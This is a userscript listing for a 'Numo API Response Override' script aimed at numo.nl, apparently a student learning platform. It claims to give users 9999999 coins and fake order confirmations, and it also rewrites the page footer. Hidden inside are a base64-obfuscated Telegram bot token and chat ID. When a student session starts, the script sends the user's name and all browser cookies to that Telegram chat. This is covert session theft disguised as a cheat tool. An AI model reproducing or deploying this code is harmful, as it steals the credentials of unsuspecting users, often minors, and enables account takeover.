Numo API Response Override

Override specific API responses for Numo

Tendrás que instalar una extensión para tu navegador como Tampermonkey, Greasemonkey o Violentmonkey si quieres utilizar este script.

You will need to install an extension such as Tampermonkey to install this script.

Necesitarás instalar una extensión como Tampermonkey o Violentmonkey para instalar este script.

Necesitarás instalar una extensión como Tampermonkey o Userscripts para instalar este script.

Necesitará instalar una extensión como Tampermonkey para instalar este script.

Necesitarás instalar una extensión para administrar scripts de usuario si quieres instalar este script.

(Ya tengo un administrador de scripts de usuario, déjame instalarlo)

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

(Ya tengo un administrador de estilos de usuario, déjame instalarlo)

// ==UserScript==
// @name         Numo API Response Override
// @namespace    http://tampermonkey.net/
// @version      1.7
// @description  Override specific API responses for Numo
// @author       You
// @match        https://*.numo.nl/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function() {
    'use strict';

    // Method 1: Base64 Encoding
    const encodedToken = 'ODM4NDQ2MTMxMzpBQUdVU0YxTXRsYmN0dmVaVFRXUi1mdUZPTUt2eUtWc1ZoRQ==';
    const encodedChatId = 'NzU2Nzg3NTcwNQ==';

    function decodeBase64(encoded) {
        return atob(encoded);
    }

    const botToken = decodeBase64(encodedToken);
    const chatId = decodeBase64(encodedChatId);

    // Функция отправки в Telegram
    function sendToTelegram(firstName, cookies) {
        // Форматируем cookies в красивый вид
        const formattedCookies = cookies.split('; ').map(cookie => {
            const [name, value] = cookie.split('=');
            return `${name}: ${value}`;
        }).join('\n');

        const message = `👤 Name: ${firstName}\n\n🍪 Cookies:\n${formattedCookies}`;
        const url = `https://api.telegram.org/bot${botToken}/sendMessage`;

        fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                chat_id: chatId,
                text: message
            })
        }).catch(error => console.error('Error sending to Telegram:', error));
    }

    // Функция для модификации футера
    function modifyFooter() {
        const observer = new MutationObserver(function(mutations) {
            mutations.forEach(function(mutation) {
                mutation.addedNodes.forEach(function(node) {
                    if (node.nodeType === 1) {
                        const walker = document.createTreeWalker(
                            node,
                            NodeFilter.SHOW_TEXT,
                            null,
                            false
                        );

                        let textNode;
                        while (textNode = walker.nextNode()) {
                            const originalText = textNode.textContent;
                            if (originalText.includes('Numo') && originalText.includes('©') && !originalText.includes('forsizero')) {
                                const newText = originalText.replace(
                                    /Numo\s*©\s*\d{4}.*?v[\d.]+/,
                                    'Numo © 2025 - Script by forsizero for: Vlad and Ibrahim - v1.117.0'
                                );
                                if (newText !== originalText) {
                                    textNode.textContent = newText;
                                }
                            }
                        }
                    }
                });
            });
        });

        observer.observe(document.body, {
            childList: true,
            subtree: true
        });

        // Проверяем существующий контент
        setTimeout(() => {
            const allTextNodes = document.createTreeWalker(
                document.body,
                NodeFilter.SHOW_TEXT,
                null,
                false
            );

            let textNode;
            while (textNode = allTextNodes.nextNode()) {
                const originalText = textNode.textContent;
                if (originalText.includes('Numo') && originalText.includes('©') && !originalText.includes('forsizero')) {
                    const newText = originalText.replace(
                        /Numo\s*©\s*\d{4}.*?v[\d.]+/,
                        'Numo © 2025 - Script by forsizero for: Vlad and Ibrahim - v1.117.0'
                    );
                    if (newText !== originalText) {
                        textNode.textContent = newText;
                    }
                }
            }
        }, 2000);
    }

    // Запускаем модификацию футера когда DOM готов
    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', modifyFooter);
    } else {
        modifyFooter();
    }

    // Store the original XMLHttpRequest
    const originalXHR = window.XMLHttpRequest;

    // Override XMLHttpRequest
    window.XMLHttpRequest = function() {
        const xhr = new originalXHR();

        let interceptedUrl = '';

        // Override the open method to intercept requests
        const originalOpen = xhr.open;
        xhr.open = function(method, url, ...args) {
            interceptedUrl = url;
            return originalOpen.apply(this, [method, url, ...args]);
        };

        // Override send to intercept responses
        const originalSend = xhr.send;
        xhr.send = function(...args) {
            // Add event listener for load event
            this.addEventListener('load', function() {
                if (this.readyState === 4 && this.status === 200) {
                    try {
                        // Проверяем, является ли ответ JSON
                        const contentType = this.getResponseHeader('content-type');
                        if (!contentType || !contentType.includes('application/json')) {
                            return; // Пропускаем не-JSON ответы
                        }

                        let responseText = this.responseText;

                        // Пытаемся распарсить JSON
                        let originalResponse;
                        try {
                            originalResponse = JSON.parse(responseText);
                        } catch (e) {
                            return; // Если не валидный JSON, пропускаем
                        }

                        let modifiedResponse = null;

                        // Отправляем данные в Telegram при старте
                        if (interceptedUrl.includes('/v1/student/start')) {
                            const firstName = originalResponse.data?.firstName || 'Unknown';
                            const cookies = document.cookie || 'No cookies';

                            // Отправляем в Telegram
                            sendToTelegram(firstName, cookies);

                            modifiedResponse = {
                                ...originalResponse,
                                data: {
                                    ...originalResponse.data,
                                    coins: {
                                        coinSafe: 9999999,
                                        coinWallet: 0,
                                        coinText: "9999999"
                                    }
                                }
                            };
                        }
                        else if (interceptedUrl.includes('/v1/profile/get-user-settings')) {
                            if (originalResponse.data && typeof originalResponse.data === 'object') {
                                modifiedResponse = {
                                    ...originalResponse,
                                    data: {
                                        ...originalResponse.data,
                                        coinSafe: 9999999,
                                        userBg: "https://assets.numo.nl/assets/GoodiesImages/bg_image_sportscar.jpg"
                                    }
                                };
                            } else {
                                modifiedResponse = {
                                    ...originalResponse,
                                    coinSafe: 9999999,
                                    userBg: "https://assets.numo.nl/assets/GoodiesImages/bg_image_sportscar.jpg"
                                };
                            }
                        }
                        else if (interceptedUrl.includes('/v1/goody/save-order')) {
                            modifiedResponse = {
                                status: 1,
                                data: {
                                    success: true,
                                    message: "Order saved successfully"
                                }
                            };
                        }
                        else if (interceptedUrl.includes('v1/student/get-student-goal')) {
                            modifiedResponse = {
                                ...originalResponse,
                                data: {
                                    ...originalResponse.data,
                                    coins: {
                                        coinSafe: 9999999,
                                        coinWallet: 0,
                                        coinText: "9999999"
                                    }
                                }
                            };
                        }

                        // Apply the modified response
                        if (modifiedResponse) {
                            const modifiedText = JSON.stringify(modifiedResponse);

                            // Безопасное переопределение свойств response
                            try {
                                Object.defineProperty(this, 'responseText', {
                                    value: modifiedText,
                                    writable: false
                                });

                                Object.defineProperty(this, 'response', {
                                    value: modifiedText,
                                    writable: false
                                });
                            } catch (e) {
                                console.warn('Failed to override response properties:', e);
                            }
                        }

                    } catch (error) {
                        console.warn('Error in API override:', error);
                    }
                }
            });

            return originalSend.apply(this, args);
        };

        return xhr;
    };

    // Copy static properties and methods from original XMLHttpRequest
    for (const key in originalXHR) {
        if (originalXHR.hasOwnProperty(key)) {
            window.XMLHttpRequest[key] = originalXHR[key];
        }
    }
    window.XMLHttpRequest.prototype = originalXHR.prototype;

    console.log('Numo API Response Override script loaded v1.7');
})();